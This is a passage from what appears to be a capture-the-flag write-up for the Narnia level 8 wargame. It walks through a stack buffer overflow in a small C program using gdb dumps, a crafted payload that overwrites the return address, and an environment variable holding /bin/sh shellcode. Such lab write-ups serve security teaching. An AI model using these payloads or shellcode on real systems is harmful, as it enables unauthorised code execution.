<span class="o">//</span> <span class="n">to</span> <span class="n">keep</span> <span class="n">the</span> <span class="n">level</span> <span class="ow">in</span> <span class="n">its</span> <span class="n">old</span> <span class="n">style</span> <span class="n">i</span> <span class="n">am</span>
<span class="o">//</span> <span class="n">making</span> <span class="s2">"i"</span> <span class="k">global</span> <span class="n">unti</span> <span class="n">i</span> <span class="n">find</span> <span class="n">a</span> <span class="n">fix</span>
<span class="o">//</span> <span class="o">-</span><span class="n">morla</span>
<span class="nb">int</span> <span class="n">i</span><span class="p">;</span>
<span class="n">void</span> <span class="n">func</span><span class="p">(</span><span class="n">char</span> <span class="o">*</span><span class="n">b</span><span class="p">){</span>
<span class="n">char</span> <span class="o">*</span><span class="n">blah</span><span class="o">=</span><span class="n">b</span><span class="p">;</span>
<span class="n">char</span> <span class="n">bok</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span>
<span class="o">//</span><span class="nb">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">bok</span><span class="p">,</span> <span class="s1">'</span><span class="se">\0</span><span class="s1">'</span><span class="p">,</span> <span class="n">sizeof</span><span class="p">(</span><span class="n">bok</span><span class="p">));</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">blah</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">'</span><span class="se">\0</span><span class="s1">'</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">bok</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">blah</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"</span><span class="si">%s</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="n">bok</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">int</span> <span class="n">main</span><span class="p">(</span><span class="nb">int</span> <span class="n">argc</span><span class="p">,</span> <span class="n">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">></span> <span class="mi">1</span><span class="p">)</span>
<span class="n">func</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="k">else</span>
<span class="n">printf</span><span class="p">(</span><span class="s2">"</span><span class="si">%s</span><span class="s2"> argument</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<p>Let’s see what is happening here: for loop in function func copies data from blah to bok character array until a null character is found. Let’s see how the stack would look like</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="o"><</span><span class="n">bok</span> <span class="n">character</span> <span class="n">array</span><span class="o">><</span><span class="n">blah</span> <span class="n">pointer</span><span class="o">><</span><span class="n">fp</span><span class="o">><</span><span class="n">ret</span><span class="o">><</span><span class="n">pointer</span> <span class="n">b</span><span class="o">></span>
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<p>Let’s confirm this by using gdb? We put an breakpoint on printf function in the func function.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="mh">0xffffd670</span><span class="p">:</span> <span class="mh">0x08048580</span> <span class="mh">0xffffd688</span> <span class="mh">0x00000014</span> <span class="mh">0xf7e54f53</span>
<span class="mh">0xffffd680</span><span class="p">:</span> <span class="mh">0x00000000</span> <span class="mh">0x00ca0000</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span>
<span class="mh">0xffffd690</span><span class="p">:</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span> <span class="mh">0x00414141</span> <span class="mh">0xffffd8b1</span>
<span class="mh">0xffffd6a0</span><span class="p">:</span> <span class="mh">0x00000002</span> <span class="mh">0xffffd764</span> <span class="mh">0xffffd6c8</span> <span class="mh">0x080484cd</span>
<span class="mh">0xffffd6b0</span><span class="p">:</span> <span class="mh">0xffffd8b1</span> <span class="mh">0xf7ffd000</span> <span class="mh">0x080484fb</span> <span class="mh">0xf7fca000</span>
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<p>Address 0xffffd689 marks the start of the character buffer bok. I entered 19 A so it’s 0x41 19 times followed by null 0x00. Followed by that is 0xffffd8b1 (Value of Blah pointer). Followed by fp 12 bytes <0x00000002 0xffffd764 0xffffd6c8>. Followed by 0x080484cd which is the return address</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="p">(</span><span class="n">gdb</span><span class="p">)</span> <span class="n">x</span><span class="o">/</span><span class="n">s</span> <span class="mh">0x080484cd</span>
<span class="mh">0x80484cd</span> <span class="o"><</span><span class="n">main</span><span class="o">+</span><span class="mi">31</span><span class="o">></span><span class="p">:</span> <span class="s2">"</span><span class="se">\353\025\213</span><span class="s2">E</span><span class="se">\f\213</span><span class="s2">"</span>
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<p>followed by pointer b (0xffffd8b1). Let’s see what’s at location 0xffffd8b1</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="p">(</span><span class="n">gdb</span><span class="p">)</span> <span class="n">x</span><span class="o">/</span><span class="mi">20</span><span class="n">wx</span> <span class="mh">0xffffd8b1</span>
<span class="mh">0xffffd8b1</span><span class="p">:</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span>
<span class="mh">0xffffd8c1</span><span class="p">:</span> <span class="mh">0x00414141</span> <span class="mh">0x5f474458</span> <span class="mh">0x53534553</span> <span class="mh">0x5f4e4f49</span>
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<p>Let’s see what happens when we try to enter more than the 19 character (buffer size of bok - 1 byte (for null character))</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20'`
AAAAAAAAAAAAAAAAAAAA����
narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20'` | hexdump
0000000 4141 4141 4141 4141 4141 4141 4141 4141
0000010 4141 4141 d8bf ffff 0a02
000001a
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<p>As expected, we get A followed by some garbage. which is the address where blah is pointing. We know that we can overwrite the RET address by</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="c1"># `python -c 'print "A"*20 + "\x90\x90\x90\x90" + "A"*12 + "BBBB"'`</span>
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<p>Let’s see what happens when we do this. After copying 20 A it copies x90 and makes blah pointer from 0xffffd8bf to 0xffffd890. Because of the for loop</p>
<div class="highlight-default"><div class="highlight"><pre><span></span><span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">blah</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">'</span><span class="se">\0</span><span class="s1">'</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
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<p>It now copies the character from 0xffffd890 reference i.e 0xffffd890 + i value. Suppose it copied the character 0x41. The address becomes 0xffff4190 and now for loop searches from that address until a null character is found.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>(gdb) x/20xw $esp
0xffffd660: 0xffffd678 0x00000000 0x00000014 0xf7e54f53
0xffffd670: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0xffffd890
0xffffd690: 0x00000002 0xffffd754 0xffffd6b8 0x080484cd
0xffffd6a0: 0xffffd89c 0xf7ffd000 0x080484fb 0xf7fca000
(gdb) x/10xw 0xffffd890
0xffffd890: 0x2f61696e 0x6e72616e 0x00386169 0x41414141
0xffffd8a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8b0: 0x90909090 0x41414141
(gdb) x/20xw $esp
0xffffd660: 0x08048580 0xffffd678 0x00000014 0xf7e54f53
0xffffd670: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0xffff4190
0xffffd690: 0x00000002 0xffffd754 0xffffd6b8 0x080484cd
0xffffd6a0: 0xffffd89c 0xf7ffd000 0x080484fb 0xf7fca000
(gdb) x/10xw 0xffff4190
0xffff4190: 0x00000000 0x00000000 0x00000000 0x00000000
0xffff41a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffff41b0: 0x00000000 0x00000000
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<p>If we can somehow keep/change the blah pointer back to it’s original value we may overwrite the RET pointer (after 12 bytes). Let’s see how 0xffffd89c looks when is used</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>`python -c 'print "A"*20 + "\x90\x90\x90\x90" + "A"*12 + "BBBB"'`
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<div class="highlight-default"><div class="highlight"><pre><span></span><span class="p">(</span><span class="n">gdb</span><span class="p">)</span> <span class="n">x</span><span class="o">/</span><span class="mi">30</span><span class="n">xw</span> <span class="mh">0xffffd89c</span>
<span class="mh">0xffffd89c</span><span class="p">:</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span>
<span class="mh">0xffffd8ac</span><span class="p">:</span> <span class="mh">0x41414141</span> <span class="mh">0x90909090</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span>
<span class="mh">0xffffd8bc</span><span class="p">:</span> <span class="mh">0x41414141</span> <span class="mh">0x42424242</span> <span class="mh">0x47445800</span> <span class="mh">0x5345535f</span>
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<p>When we used the below with the address, we were able to overwrite the RET by BBBB. Now, we control the EIP :)</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>(gdb) run `python -c 'print "A"*20 + "\x9c\xd8\xff\xff" + "A"*12 + "BBBB"'`
(gdb) x/20xw $esp
0xffffd660: 0x08048580 0xffffd678 0x00000014 0xf7e54f53
0xffffd670: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0xffffd89c
0xffffd690: 0x41414141 0x41414141 0x41414141 0x42424242
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<p>Let’s export a shellcode using a environment variable check it’s address on the stack and redirect the flow of our code to it. Notice the number of NOPs we have put for easy identification plus reachability.</p>
<div class="highlight-default"><div class="highlight"><pre><span></span>export EGG=`python -c 'print "\x90"*90 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"'`
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